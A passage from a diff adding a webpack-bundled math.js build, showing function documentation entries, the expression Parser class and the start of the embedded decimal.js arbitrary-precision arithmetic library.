['sackurTetrode'] + }; + docs.secondRadiation = { + description: 'Second radiation constant', + examples: ['secondRadiation'] + }; + docs.stefanBoltzmann = { + description: 'Stefan-Boltzmann constant', + examples: ['stefanBoltzmann'] + }; + docs.wienDisplacement = { + description: 'Wien displacement law constant', + examples: ['wienDisplacement'] // docs.spectralRadiance = {description: 'First radiation constant for spectral radiance', examples: ['spectralRadiance']} + + }; + docs.molarMass = { + description: 'Molar mass constant', + examples: ['molarMass'] + }; + docs.molarMassC12 = { + description: 'Molar mass constant of carbon-12', + examples: ['molarMassC12'] + }; + docs.gravity = { + description: 'Standard acceleration of gravity (standard acceleration of free-fall on Earth)', + examples: ['gravity'] + }; + docs.planckLength = { + description: 'Planck length', + examples: ['planckLength'] + }; + docs.planckMass = { + description: 'Planck mass', + examples: ['planckMass'] + }; + docs.planckTime = { + description: 'Planck time', + examples: ['planckTime'] + }; + docs.planckCharge = { + description: 'Planck charge', + examples: ['planckCharge'] + }; + docs.planckTemperature = { + description: 'Planck temperature', + examples: ['planckTemperature'] // functions - algebra + + }; + docs.derivative = __webpack_require__(383); + docs.lsolve = __webpack_require__(384); + docs.lup = __webpack_require__(385); + docs.lusolve = __webpack_require__(386); + docs.simplify = __webpack_require__(387); + docs.rationalize = __webpack_require__(388); + docs.slu = __webpack_require__(389); + docs.usolve = __webpack_require__(390); + docs.qr = __webpack_require__(391); // functions - arithmetic + + docs.abs = __webpack_require__(392); + docs.add = __webpack_require__(393); + docs.cbrt = __webpack_require__(394); + docs.ceil = __webpack_require__(395); + docs.cube = __webpack_require__(396); + docs.divide = __webpack_require__(397); + docs.dotDivide = __webpack_require__(398); + docs.dotMultiply = __webpack_require__(399); + docs.dotPow = __webpack_require__(400); + docs.exp = __webpack_require__(401); + docs.expm = __webpack_require__(402); + docs.expm1 = __webpack_require__(403); + docs.fix = __webpack_require__(404); + docs.floor = __webpack_require__(405); + docs.gcd = __webpack_require__(406); + docs.hypot = __webpack_require__(407); + docs.lcm = __webpack_require__(408); + docs.log = __webpack_require__(409); + docs.log2 = __webpack_require__(410); + docs.log1p = __webpack_require__(411); + docs.log10 = __webpack_require__(412); + docs.mod = __webpack_require__(413); + docs.multiply = __webpack_require__(414); + docs.norm = __webpack_require__(415); + docs.nthRoot = __webpack_require__(416); + docs.nthRoots = __webpack_require__(417); + docs.pow = __webpack_require__(418); + docs.round = __webpack_require__(419); + docs.sign = __webpack_require__(420); + docs.sqrt = __webpack_require__(421); + docs.sqrtm = __webpack_require__(422); + docs.square = __webpack_require__(423); + docs.subtract = __webpack_require__(424); + docs.unaryMinus = __webpack_require__(425); + docs.unaryPlus = __webpack_require__(426); + docs.xgcd = __webpack_require__(427); // functions - bitwise + + docs.bitAnd = __webpack_require__(428); + docs.bitNot = __webpack_require__(429); + docs.bitOr = __webpack_require__(430); + docs.bitXor = __webpack_require__(431); + docs.leftShift = __webpack_require__(432); + docs.rightArithShift = __webpack_require__(433); + docs.rightLogShift = __webpack_require__(434); // functions - combinatorics + + docs.bellNumbers = __webpack_require__(435); + docs.catalan = __webpack_require__(436); + docs.composition = __webpack_require__(437); + docs.stirlingS2 = __webpack_require__(438); // functions - core + + docs['config'] = __webpack_require__(439); + docs['import'] = __webpack_require__(440); + docs['typed'] = __webpack_require__(441); // functions - complex + + docs.arg = __webpack_require__(442); + docs.conj = __webpack_require__(443); + docs.re = __webpack_require__(444); + docs.im = __webpack_require__(445); // functions - expression + + docs['eval'] = __webpack_require__(446); + docs.help = __webpack_require__(447); // functions - geometry + + docs.distance = __webpack_require__(448); + docs.intersect = __webpack_require__(449); // functions - logical + + docs['and'] = __webpack_require__(450); + docs['not'] = __webpack_require__(451); + docs['or'] = __webpack_require__(452); + docs['xor'] = __webpack_require__(453); // functions - matrix + + docs.column = __webpack_require__(454); + docs['concat'] = __webpack_require__(455); + docs.cross = __webpack_require__(456); + docs.ctranspose = __webpack_require__(457); + docs.det = __webpack_require__(458); + docs.diag = __webpack_require__(459); + docs.dot = __webpack_require__(460); + docs.getMatrixDataType = __webpack_require__(461); + docs.identity = __webpack_require__(462); + docs.filter = __webpack_require__(463); + docs.flatten = __webpack_require__(464); + docs.forEach = __webpack_require__(465); + docs.inv = __webpack_require__(466); + docs.kron = __webpack_require__(467); + docs.map = __webpack_require__(468); + docs.ones = __webpack_require__(469); + docs.partitionSelect = __webpack_require__(470); + docs.range = __webpack_require__(471); + docs.resize = __webpack_require__(472); + docs.reshape = __webpack_require__(473); + docs.row = __webpack_require__(474); + docs.size = __webpack_require__(475); + docs.sort = __webpack_require__(476); + docs.squeeze = __webpack_require__(477); + docs.subset = __webpack_require__(478); + docs.trace = __webpack_require__(479); + docs.transpose = __webpack_require__(480); + docs.zeros = __webpack_require__(481); // functions - probability + + docs.combinations = __webpack_require__(482); // docs.distribution = require('./function/probability/distribution') + + docs.factorial = __webpack_require__(483); + docs.gamma = __webpack_require__(484); + docs.kldivergence = __webpack_require__(485); + docs.multinomial = __webpack_require__(486); + docs.permutations = __webpack_require__(487); + docs.pickRandom = __webpack_require__(488); + docs.random = __webpack_require__(489); + docs.randomInt = __webpack_require__(490); // functions - relational + + docs.compare = __webpack_require__(491); + docs.compareNatural = __webpack_require__(492); + docs.compareText = __webpack_require__(493); + docs.deepEqual = __webpack_require__(494); + docs['equal'] = __webpack_require__(495); + docs.equalText = __webpack_require__(496); + docs.larger = __webpack_require__(497); + docs.largerEq = __webpack_require__(498); + docs.smaller = __webpack_require__(499); + docs.smallerEq = __webpack_require__(500); + docs.unequal = __webpack_require__(501); // functions - set + + docs.setCartesian = __webpack_require__(502); + docs.setDifference = __webpack_require__(503); + docs.setDistinct = __webpack_require__(504); + docs.setIntersect = __webpack_require__(505); + docs.setIsSubset = __webpack_require__(506); + docs.setMultiplicity = __webpack_require__(507); + docs.setPowerset = __webpack_require__(508); + docs.setSize = __webpack_require__(509); + docs.setSymDifference = __webpack_require__(510); + docs.setUnion = __webpack_require__(511); // functions - special + + docs.erf = __webpack_require__(512); // functions - statistics + + docs.mad = __webpack_require__(513); + docs.max = __webpack_require__(514); + docs.mean = __webpack_require__(515); + docs.median = __webpack_require__(516); + docs.min = __webpack_require__(517); + docs.mode = __webpack_require__(518); + docs.prod = __webpack_require__(519); + docs.quantileSeq = __webpack_require__(520); + docs.std = __webpack_require__(521); + docs.sum = __webpack_require__(522); + docs['var'] = __webpack_require__(523); // functions - trigonometry + + docs.acos = __webpack_require__(524); + docs.acosh = __webpack_require__(525); + docs.acot = __webpack_require__(526); + docs.acoth = __webpack_require__(527); + docs.acsc = __webpack_require__(528); + docs.acsch = __webpack_require__(529); + docs.asec = __webpack_require__(530); + docs.asech = __webpack_require__(531); + docs.asin = __webpack_require__(532); + docs.asinh = __webpack_require__(533); + docs.atan = __webpack_require__(534); + docs.atanh = __webpack_require__(535); + docs.atan2 = __webpack_require__(536); + docs.cos = __webpack_require__(537); + docs.cosh = __webpack_require__(538); + docs.cot = __webpack_require__(539); + docs.coth = __webpack_require__(540); + docs.csc = __webpack_require__(541); + docs.csch = __webpack_require__(542); + docs.sec = __webpack_require__(543); + docs.sech = __webpack_require__(544); + docs.sin = __webpack_require__(545); + docs.sinh = __webpack_require__(546); + docs.tan = __webpack_require__(547); + docs.tanh = __webpack_require__(548); // functions - units + + docs.to = __webpack_require__(549); // functions - utils + + docs.clone = __webpack_require__(550); + docs.format = __webpack_require__(551); + docs.isNaN = __webpack_require__(552); + docs.isInteger = __webpack_require__(553); + docs.isNegative = __webpack_require__(554); + docs.isNumeric = __webpack_require__(555); + docs.hasNumericValue = __webpack_require__(556); + docs.isPositive = __webpack_require__(557); + docs.isPrime = __webpack_require__(558); + docs.isZero = __webpack_require__(559); // docs.print = require('./function/utils/print') // TODO: add documentation for print as soon as the parser supports objects. + + docs['typeof'] = __webpack_require__(560); + return docs; +} + +exports.name = 'docs'; +exports.path = 'expression'; +exports.factory = factory; + +/***/ }), +/* 156 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'e', + 'category': 'Constants', + 'syntax': ['e'], + 'description': 'Euler\'s number, the base of the natural logarithm. Approximately equal to 2.71828', + 'examples': ['e', 'e ^ 2', 'exp(2)', 'log(e)'], + 'seealso': ['exp'] +}; + +/***/ }), +/* 157 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'pi', + 'category': 'Constants', + 'syntax': ['pi'], + 'description': 'The number pi is a mathematical constant that is the ratio of a circle\'s circumference to its diameter, and is approximately equal to 3.14159', + 'examples': ['pi', 'sin(pi/2)'], + 'seealso': ['tau'] +}; + +/***/ }), +/* 158 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed, math) { + var Parser = load(__webpack_require__(159)); + /** + * Create a parser. The function creates a new `math.expression.Parser` object. + * + * Syntax: + * + * math.parser() + * + * Examples: + * + * const parser = new math.parser() + * + * // evaluate expressions + * const a = parser.eval('sqrt(3^2 + 4^2)') // 5 + * const b = parser.eval('sqrt(-4)') // 2i + * const c = parser.eval('2 inch in cm') // 5.08 cm + * const d = parser.eval('cos(45 deg)') // 0.7071067811865476 + * + * // define variables and functions + * parser.eval('x = 7 / 2') // 3.5 + * parser.eval('x + 3') // 6.5 + * parser.eval('function f(x, y) = x^y') // f(x, y) + * parser.eval('f(2, 3)') // 8 + * + * // get and set variables and functions + * const x = parser.get('x') // 7 + * const f = parser.get('f') // function + * const g = f(3, 2) // 9 + * parser.set('h', 500) + * const i = parser.eval('h / 2') // 250 + * parser.set('hello', function (name) { + * return 'hello, ' + name + '!' + * }) + * parser.eval('hello("user")') // "hello, user!" + * + * // clear defined functions and variables + * parser.clear() + * + * See also: + * + * eval, compile, parse + * + * @return {Parser} Parser + */ + + return typed('parser', { + '': function _() { + return new Parser(math); + } + }); +} + +exports.name = 'parser'; +exports.factory = factory; +exports.math = true; // requires the math namespace as 5th argument + +/***/ }), +/* 159 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var extend = __webpack_require__(5).extend; + +var customs = __webpack_require__(13); + +function factory(type, config, load, typed, math) { + var _parse = load(__webpack_require__(44)); + /** + * @constructor Parser + * Parser contains methods to evaluate or parse expressions, and has a number + * of convenience methods to get, set, and remove variables from memory. Parser + * keeps a scope containing variables in memory, which is used for all + * evaluations. + * + * Methods: + * const result = parser.eval(expr) // evaluate an expression + * const value = parser.get(name) // retrieve a variable from the parser + * const values = parser.getAll() // retrieve all defined variables + * parser.set(name, value) // set a variable in the parser + * parser.remove(name) // clear a variable from the + * // parsers scope + * parser.clear() // clear the parsers scope + * + * Example usage: + * const parser = new Parser() + * // Note: there is a convenience method which can be used instead: + * // const parser = new math.parser() + * + * // evaluate expressions + * parser.eval('sqrt(3^2 + 4^2)') // 5 + * parser.eval('sqrt(-4)') // 2i + * parser.eval('2 inch in cm') // 5.08 cm + * parser.eval('cos(45 deg)') // 0.7071067811865476 + * + * // define variables and functions + * parser.eval('x = 7 / 2') // 3.5 + * parser.eval('x + 3') // 6.5 + * parser.eval('function f(x, y) = x^y') // f(x, y) + * parser.eval('f(2, 3)') // 8 + * + * // get and set variables and functions + * const x = parser.get('x') // 7 + * const f = parser.get('f') // function + * const g = f(3, 2) // 9 + * parser.set('h', 500) + * const i = parser.eval('h / 2') // 250 + * parser.set('hello', function (name) { + * return 'hello, ' + name + '!' + * }) + * parser.eval('hello("user")') // "hello, user!" + * + * // clear defined functions and variables + * parser.clear() + * + */ + + + function Parser() { + if (!(this instanceof Parser)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } + + this.scope = {}; + } + /** + * Attach type information + */ + + + Parser.prototype.type = 'Parser'; + Parser.prototype.isParser = true; + /** + * Parse an expression and return the parsed function node. + * The node tree can be compiled via `code = node.compile(math)`, + * and the compiled code can be executed as `code.eval([scope])` + * @param {string} expr + * @return {Node} node + * @throws {Error} + */ + + Parser.prototype.parse = function (expr) { + throw new Error('Parser.parse is deprecated. Use math.parse instead.'); + }; + /** + * Parse and compile an expression, return the compiled javascript code. + * The node can be evaluated via code.eval([scope]) + * @param {string} expr + * @return {{eval: function}} code + * @throws {Error} + */ + + + Parser.prototype.compile = function (expr) { + throw new Error('Parser.compile is deprecated. Use math.compile instead.'); + }; + /** + * Parse and evaluate the given expression + * @param {string} expr A string containing an expression, for example "2+3" + * @return {*} result The result, or undefined when the expression was empty + * @throws {Error} + */ + + + Parser.prototype.eval = function (expr) { + // TODO: validate arguments + return _parse(expr).compile().eval(this.scope); + }; + /** + * Get a variable (a function or variable) by name from the parsers scope. + * Returns undefined when not found + * @param {string} name + * @return {* | undefined} value + */ + + + Parser.prototype.get = function (name) { + // TODO: validate arguments + return name in this.scope ? customs.getSafeProperty(this.scope, name) : undefined; + }; + /** + * Get a map with all defined variables + * @return {Object} values + */ + + + Parser.prototype.getAll = function () { + return extend({}, this.scope); + }; + /** + * Set a symbol (a function or variable) by name from the parsers scope. + * @param {string} name + * @param {* | undefined} value + */ + + + Parser.prototype.set = function (name, value) { + // TODO: validate arguments + return customs.setSafeProperty(this.scope, name, value); + }; + /** + * Remove a variable from the parsers scope + * @param {string} name + */ + + + Parser.prototype.remove = function (name) { + // TODO: validate arguments + delete this.scope[name]; + }; + /** + * Clear the scope with variables and functions + */ + + + Parser.prototype.clear = function () { + for (var name in this.scope) { + if (this.scope.hasOwnProperty(name)) { + delete this.scope[name]; + } + } + }; + + return Parser; +} + +exports.name = 'Parser'; +exports.path = 'expression'; +exports.factory = factory; +exports.math = true; // requires the math namespace as 5th argument + +/***/ }), +/* 160 */ +/***/ (function(module, exports, __webpack_require__) { + +var __WEBPACK_AMD_DEFINE_RESULT__;;(function (globalScope) { + 'use strict'; + + + /* + * decimal.js v10.2.0 + * An arbitrary-precision Decimal type for JavaScript. + * https://github.com/MikeMcl/decimal.js + * Copyright (c) 2019 Michael Mclaughlin + * MIT Licence + */ + + + // ----------------------------------- EDITABLE DEFAULTS ------------------------------------ // + + + // The maximum exponent magnitude. + // The limit on the value of `toExpNeg`, `toExpPos`, `minE` and `maxE`. + var EXP_LIMIT = 9e15, // 0 to 9e15 + + // The limit on the value of `precision`, and on the value of the first argument to + // `toDecimalPlaces`, `toExponential`, `toFixed`, `toPrecision` and `toSignificantDigits`. + MAX_DIGITS = 1e9, // 0 to 1e9 + + // Base conversion alphabet. + NUMERALS = '0123456789abcdef', + + // The natural logarithm of 10 (1025 digits). + LN10 = '2.3025850929940456840179914546843642076011014886287729760333279009675726096773524802359972050895982983419677840422862486334095254650828067566662873690987816894829072083255546808437998948262331985283935053089653777326288461633662222876982198867465436674744042432743651550489343149393914796194044002221051017141748003688084012647080685567743216228355220114804663715659121373450747856947683463616792101806445070648000277502684916746550586856935673420670581136429224554405758925724208241314695689016758940256776311356919292033376587141660230105703089634572075440370847469940168269282808481184289314848524948644871927809676271275775397027668605952496716674183485704422507197965004714951050492214776567636938662976979522110718264549734772662425709429322582798502585509785265383207606726317164309505995087807523710333101197857547331541421808427543863591778117054309827482385045648019095610299291824318237525357709750539565187697510374970888692180205189339507238539205144634197265287286965110862571492198849978748873771345686209167058', + + // Pi (1025 digits). + PI = '3.1415926535897932384626433832795028841971693993751058209749445923078164062862089986280348253421170679821480865132823066470938446095505822317253594081284811174502841027019385211055596446229489549303819644288109756659334461284756482337867831652712019091456485669234603486104543266482133936072602491412737245870066063155881748815209209628292540917153643678925903600113305305488204665213841469519415116094330572703657595919530921861173819326117931051185480744623799627495673518857527248912279381830119491298336733624406566430860213949463952247371907021798609437027705392171762931767523846748184676694051320005681271452635608277857713427577896091736371787214684409012249534301465495853710507922796892589235420199561121290219608640344181598136297747713099605187072113499999983729780499510597317328160963185950244594553469083026425223082533446850352619311881710100031378387528865875332083814206171776691473035982534904287554687311595628638823537875937519577818577805321712268066130019278766111959092164201989380952572010654858632789', + + + // The initial configuration properties of the Decimal constructor. + DEFAULTS = { + + // These values must be integers within the stated ranges (inclusive). + // Most of these values can be changed at run-time using the `Decimal.config` method. + + // The maximum number of significant digits of the result of a calculation or base conversion. + // E.g. `Decimal.config({ precision: 20 });` + precision: 20, // 1 to MAX_DIGITS + + // The rounding mode used when rounding to `precision`. + // + // ROUND_UP 0 Away from zero. + // ROUND_DOWN 1 Towards zero. + // ROUND_CEIL 2 Towards +Infinity. + // ROUND_FLOOR 3 Towards -Infinity. + // ROUND_HALF_UP 4 Towards nearest neighbour. If equidistant, up. + // ROUND_HALF_DOWN 5 Towards nearest neighbour. If equidistant, down. + // ROUND_HALF_EVEN 6 Towards nearest neighbour. If equidistant, towards even neighbour. + // ROUND_HALF_CEIL 7 Towards nearest neighbour. If equidistant, towards +Infinity. + // ROUND_HALF_FLOOR 8 Towards nearest neighbour. If equidistant, towards -Infinity. + // + // E.g. + // `Decimal.rounding = 4;` + // `Decimal.rounding = Decimal.ROUND_HALF_UP;` + rounding: 4, // 0 to 8 + + // The modulo mode used when calculating the modulus: a mod n. + // The quotient (q = a / n) is calculated according to the corresponding rounding mode. + // The remainder (r) is calculated as: r = a - n * q. + // + // UP 0 The remainder is positive if the dividend is negative, else is negative. + // DOWN 1 The remainder has the same sign as the dividend (JavaScript %). + // FLOOR 3 The remainder has the same sign as the divisor (Python %). + // HALF_EVEN 6 The IEEE 754 remainder function. + // EUCLID 9 Euclidian division. q = sign(n) * floor(a / abs(n)). Always positive. + // + // Truncated division (1), floored division (3), the IEEE 754 remainder (6), and Euclidian + // division (9) are commonly used for the modulus operation. The other rounding modes can also + // be used, but they may not give useful results. + modulo: 1, // 0 to 9 + + // The exponent value at and beneath which `toString` returns exponential notation. + // JavaScript numbers: -7 + toExpNeg: -7, // 0 to -EXP_LIMIT + + // The exponent value at and above which `toString` returns exponential notation. + // JavaScript numbers: 21 + toExpPos: 21, // 0 to EXP_LIMIT + + // The minimum exponent value, beneath which underflow to zero occurs. + // JavaScript numbers: -324 (5e-324) + minE: -EXP_LIMIT, // -1 to -EXP_LIMIT + + // The maximum exponent value, above which overflow to Infinity occurs. + // JavaScript numbers: 308 (1.7976931348623157e+308) + maxE: EXP_LIMIT, // 1 to EXP_LIMIT + + // Whether to use cryptographically-secure random number generation, if available. + crypto: false // true/false + }, + + + // ----------------------------------- END OF EDITABLE DEFAULTS ------------------------------- // + + + Decimal, inexact, noConflict, quadrant, + external = true, + + decimalError = '[DecimalError] ', + invalidArgument = decimalError + 'Invalid argument: ', + precisionLimitExceeded = decimalError + 'Precision limit exceeded', + cryptoUnavailable = decimalError + 'crypto unavailable', + + mathfloor = Math.floor, + mathpow = Math.pow, + + isBinary = /^0b([01]+(\.[01]*)?|\.[01]+)(p[+-]?\d+)?$/i, + isHex = /^0x([0-9a-f]+(\.[0-9a-f]*)?|\.[0-9a-f]+)(p[+-]?\d+)?$/i, + isOctal = /^0o([0-7]+(\.[0-7]*)?|\.[0-7]+)(p[+-]?\d+)?$/i, + isDecimal = /^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i, + + BASE = 1e7, + LOG_BASE = 7, + MAX_SAFE_INTEGER = 9007199254740991, + + LN10_PRECISION = LN10.length - 1, + PI_PRECISION = PI.length - 1, + + // Decimal.prototype object + P = { name: '[object Decimal]' }; + + + // Decimal prototype methods + + + /* + * absoluteValue abs + * ceil + * comparedTo cmp + * cosine cos + * cubeRoot cbrt + * decimalPlaces dp + * dividedBy div + * dividedToIntegerBy divToInt + * equals eq + * floor + * greaterThan gt + * greaterThanOrEqualTo gte + * hyperbolicCosine cosh + * hyperbolicSine sinh + * hyperbolicTangent tanh + * inverseCosine acos + * inverseHyperbolicCosine acosh + * inverseHyperbolicSine asinh + * inverseHyperbolicTangent atanh + * inverseSine asin + * inverseTangent atan + * isFinite + * isInteger isInt + * isNaN + * isNegative isNeg + * isPositive isPos + * isZero + * lessThan lt + * lessThanOrEqualTo lte + * logarithm log + * [maximum] [max] + * [minimum] [min] + * minus sub + * modulo mod + * naturalExponential exp + * naturalLogarithm ln + * negated neg + * plus add + * precision sd + * round + * sine sin + * squareRoot sqrt + * tangent tan + * times mul + * toBinary + * toDecimalPlaces toDP + * toExponential + * toFixed + * toFraction + * toHexadecimal toHex + * toNearest + * toNumber + * toOctal + * toPower pow + * toPrecision + * toSignificantDigits toSD + * toString + * truncated trunc + * valueOf toJSON + */ + + + /* + * Return a new Decimal whose value is the absolute value of this Decimal. + * + */ + P.absoluteValue = P.abs = function () { + var x = new this.constructor(this); + if (x.s < 0) x.s = 1; + return finalise(x); + }; + + + /* + * Return a new Decimal whose value is the value of this Decimal rounded to a whole number in the + * direction of positive Infinity. + * + */ + P.ceil = function () { + return finalise(new this.constructor(this), this.e + 1, 2); + }; + + + /* + * Return + * 1 if the value of this Decimal is greater than the value of `y`, + * -1 if the value of this Decimal is less than the value of `y`, + * 0 if they have the same value, + * NaN if the value of either Decimal is NaN. + * + */ + P.comparedTo = P.cmp = function (y) { + var i, j, xdL, ydL, + x = this, + xd = x.d, + yd = (y = new x.constructor(y)).d, + xs = x.s, + ys = y.s; + + // Either NaN or ±Infinity? + if (!xd || !yd) { + return !xs || !ys ? NaN : xs !== ys ? xs : xd === yd ? 0 : !xd ^ xs < 0 ? 1 : -1; + } + + // Either zero? + if (!xd[0] || !yd[0]) return xd[0] ? xs : yd[0] ? -ys : 0; + + // Signs differ? + if (xs !== ys) return xs; + + // Compare exponents. + if (x.e !== y.e) return x.e > y.e ^ xs < 0 ? 1 : -1; + + xdL = xd.length; + ydL = yd.length; + + // Compare digit by digit. + for (i = 0, j = xdL < ydL ? xdL : ydL; i < j; ++i) { + if (xd[i] !== yd[i]) return xd[i] > yd[i] ^ xs < 0 ? 1 : -1; + } + + // Compare lengths. + return xdL === ydL ? 0 : xdL > ydL ^ xs < 0 ? 1 : -1; + }; + + + /* + * Return a new Decimal whose value is the cosine of the value in radians of this Decimal. + * + * Domain: [-Infinity, Infinity] + * Range: [-1, 1] + * + * cos(0) = 1 + * cos(-0) = 1 + * cos(Infinity) = NaN + * cos(-Infinity) = NaN + * cos(NaN) = NaN + * + */ + P.cosine = P.cos = function () { + var pr, rm, + x = this, + Ctor = x.constructor; + + if (!x.d) return new Ctor(NaN); + + // cos(0) = cos(-0) = 1 + if (!x.d[0]) return new Ctor(1); + + pr = Ctor.precision; + rm = Ctor.rounding; + Ctor.precision = pr + Math.max(x.e, x.sd()) + LOG_BASE; + Ctor.rounding = 1; + + x = cosine(Ctor, toLessThanHalfPi(Ctor, x)); + + Ctor.precision = pr; + Ctor.rounding = rm; + + return finalise(quadrant == 2 || quadrant == 3 ? x.neg() : x, pr, rm, true); + }; + + + /* + * + * Return a new Decimal whose value is the cube root of the value of this Decimal, rounded to + * `precision` significant digits using rounding mode `rounding`. + * + * cbrt(0) = 0 + * cbrt(-0) = -0 + * cbrt(1) = 1 + * cbrt(-1) = -1 + * cbrt(N) = N + * cbrt(-I) = -I + * cbrt(I) = I + * + * Math.cbrt(x) = (x < 0 ? -Math.pow(-x, 1/3) : Math.pow(x, 1/3)) + * + */ + P.cubeRoot = P.cbrt = function () { + var e, m, n, r, rep, s, sd, t, t3, t3plusx, + x = this, + Ctor = x.constructor; + + if (!x.isFinite() || x.isZero()) return new Ctor(x); + external = false; + + // Initial estimate. + s = x.s * mathpow(x.s * x, 1 / 3); + + // Math.cbrt underflow/overflow? + // Pass x to Math.pow as integer, then adjust the exponent of the result. + if (!s || Math.abs(s) == 1 / 0) { + n = digitsToString(x.d); + e = x.e; + + // Adjust n exponent so it is a multiple of 3 away from x exponent. + if (s = (e - n.length + 1) % 3) n += (s == 1 || s == -2 ? '0' : '00'); + s = mathpow(n, 1 / 3); + + // Rarely, e may be one less than the result exponent value. + e = mathfloor((e + 1) / 3) - (e % 3 == (e < 0 ? -1 : 2)); + + if (s == 1 / 0) { + n = '5e' + e; + } else { + n = s.toExponential(); + n = n.slice(0, n.indexOf('e') + 1) + e; + } + + r = new Ctor(n); + r.s = x.s; + } else { + r = new Ctor(s.toString()); + } + + sd = (e = Ctor.precision) + 3; + + // Halley's method. + // TODO? Compare Newton's method. + for (;;) { + t = r; + t3 = t.times(t).times(t); + t3plusx = t3.plus(x); + r = divide(t3plusx.plus(x).times(t), t3plusx.plus(t3), sd + 2, 1); + + // TODO? Replace with for-loop and checkRoundingDigits. + if (digitsToString(t.d).slice(0, sd) === (n = digitsToString(r.d)).slice(0, sd)) { + n = n.slice(sd - 3, sd + 1); + + // The 4th rounding digit may be in error by -1 so if the 4 rounding digits are 9999 or 4999 + // , i.e. approaching a rounding boundary, continue the iteration. + if (n == '9999' || !rep && n == '4999') { + + // On the first iteration only, check to see if rounding up gives the exact result as the + // nines may infinitely repeat. + if (!rep) { + finalise(t, e + 1, 0); + + if (t.times(t).times(t).eq(x)) { + r = t; + break; + } + } + + sd += 4; + rep = 1; + } else { + + // If the rounding digits are null, 0{0,4} or 50{0,3}, check for an exact result. + // If not, then there are further digits and m will be truthy. + if (!+n || !+n.slice(1) && n.charAt(0) == '5') { + + // Truncate to the first rounding digit. + finalise(r, e + 1, 1); + m = !r.times(r).times(r).eq(x); + } + + break; + } + } + } + + external = true; + + return finalise(r, e, Ctor.rounding, m); + }; + + + /* + * Return the number of decimal places of the value of this Decimal. + * + */ + P.decimalPlaces = P.dp = function () { + var w, + d = this.d, + n = NaN; + + if (d) { + w = d.length - 1; + n = (w - mathfloor(this.e / LOG_BASE)) * LOG_BASE; + + // Subtract the number of trailing zeros of the last word. + w = d[w]; + if (w) for (; w % 10 == 0; w /= 10) n--; + if (n < 0) n = 0; + } + + return n; + }; + + + /* + * n / 0 = I + * n / N = N + * n / I = 0 + * 0 / n = 0 + * 0 / 0 = N + * 0 / N = N + * 0 / I = 0 + * N / n = N + * N / 0 = N + * N / N = N + * N / I = N + * I / n = I + * I / 0 = I + * I / N = N + * I / I = N + * + * Return a new Decimal whose value is the value of this Decimal divided by `y`, rounded to + * `precision` significant digits using rounding mode `rounding`. + * + */ + P.dividedBy = P.div = function (y) { + return divide(this, new this.constructor(y)); + }; + + + /* + * Return a new Decimal whose value is the integer part of dividing the value of this Decimal + * by the value of `y`, rounded to `precision` significant digits using rounding mode `rounding`. + * + */ + P.dividedToIntegerBy = P.divToInt = function (y) { + var x = this, + Ctor = x.constructor; + return finalise(divide(x, new Ctor(y), 0, 1, 1), Ctor.precision, Ctor.rounding); + }; + + + /* + * Return true if the value of this Decimal is equal to the value of `y`, otherwise return false. + * + */ + P.equals = P.eq = function (y) { + return this.cmp(y) === 0; + }; + + + /* + * Return a new Decimal whose value is the value of this Decimal rounded to a whole number in the + * direction of negative Infinity. + * + */ + P.floor = function () { + return finalise(new this.constructor(this), this.e + 1, 3); + }; + + + /* + * Return true if the value of this Decimal is greater than the value of `y`, otherwise return + * false. + * + */ + P.greaterThan = P.gt = function (y) { + return this.cmp(y) > 0; + }; + + + /* + * Return true if the value of this Decimal is greater than or equal to the value of `y`, + * otherwise return false. + * + */ + P.greaterThanOrEqualTo = P.gte = function (y) { + var k = this.cmp(y); + return k == 1 || k === 0; + }; + + + /* + * Return a new Decimal whose value is the hyperbolic cosine of the value in radians of this + * Decimal. + * + * Domain: [-Infinity, Infinity] + * Range: [1, Infinity] + * + * cosh(x) = 1 + x^2/2! + x^4/4! + x^6/6! + ... + * + * cosh(0) = 1 + * cosh(-0) = 1 + * cosh(Infinity) = Infinity + * cosh(-Infinity) = Infinity + * cosh(NaN) = NaN + * + * x time taken (ms) result + * 1000 9 9.8503555700852349694e+433 + * 10000 25 4.4034091128314607936e+4342 + * 100000 171 1.4033316802130615897e+43429 + * 1000000 3817 1.5166076984010437725e+434294 + * 10000000 abandoned after 2 minute wait + * + * TODO? Compare performance of cosh(x) = 0.5 * (exp(x) + exp(-x)) + * + */ + P.hyperbolicCosine = P.cosh = function () { + var k, n, pr, rm, len, + x = this, + Ctor = x.constructor, + one = new Ctor(1); + + if (!x.isFinite()) return new Ctor(x.s ? 1 / 0 : NaN); + if (x.isZero()) return one; + + pr = Ctor.precision; + rm = Ctor.rounding; + Ctor.precision = pr + Math.max(x.e, x.sd()) + 4; + Ctor.rounding = 1; + len = x.d.length; + + // Argument reduction: cos(4x) = 1 - 8cos^2(x) + 8cos^4(x) + 1 + // i.e. cos(x) = 1 - cos^2(x/4)(8 - 8cos^2(x/4)) + + // Estimate the optimum number of times to use the argument reduction. + // TODO? Estimation reused from cosine() and may not be optimal here. + if (len < 32) { + k = Math.ceil(len / 3); + n = (1 / tinyPow(4, k)).toString(); + } else { + k = 16; + n = '2.3283064365386962890625e-10'; + } + + x = taylorSeries(Ctor, 1, x.times(n), new Ctor(1), true); + + // Reverse argument reduction + var cosh2_x, + i = k, + d8 = new Ctor(8); + for (; i--;) { + cosh2_x = x.times(x); + x = one.minus(cosh2_x.times(d8.minus(cosh2_x.times(d8)))); + } + + return finalise(x, Ctor.precision = pr, Ctor.rounding = rm, true); + }; + + + /* + * Return a new Decimal whose value is the hyperbolic sine of the value in radians of this + * Decimal. + * + * Domain: [-Infinity, Infinity] + * Range: [-Infinity, Infinity] + * + * sinh(x) = x + x^3/3! + x^5/5! + x^7/7! + ... + * + * sinh(0) = 0 + * sinh(-0) = -0 + * sinh(Infinity) = Infinity + * sinh(-Infinity) = -Infinity + * sinh(NaN) = NaN + * + * x time taken (ms) + * 10 2 ms + * 100 5 ms + * 1000 14 ms + * 10000 82 ms + * 100000 886 ms 1.4033316802130615897e+43429 + * 200000 2613 ms + * 300000 5407 ms + * 400000 8824 ms + * 500000 13026 ms 8.7080643612718084129e+217146 + * 1000000 48543 ms + * + * TODO? Compare performance of sinh(x) = 0.5 * (exp(x) - exp(-x)) + * + */ + P.hyperbolicSine = P.sinh = function () { + var k, pr, rm, len, + x = this, + Ctor = x.constructor; + + if (!x.isFinite() || 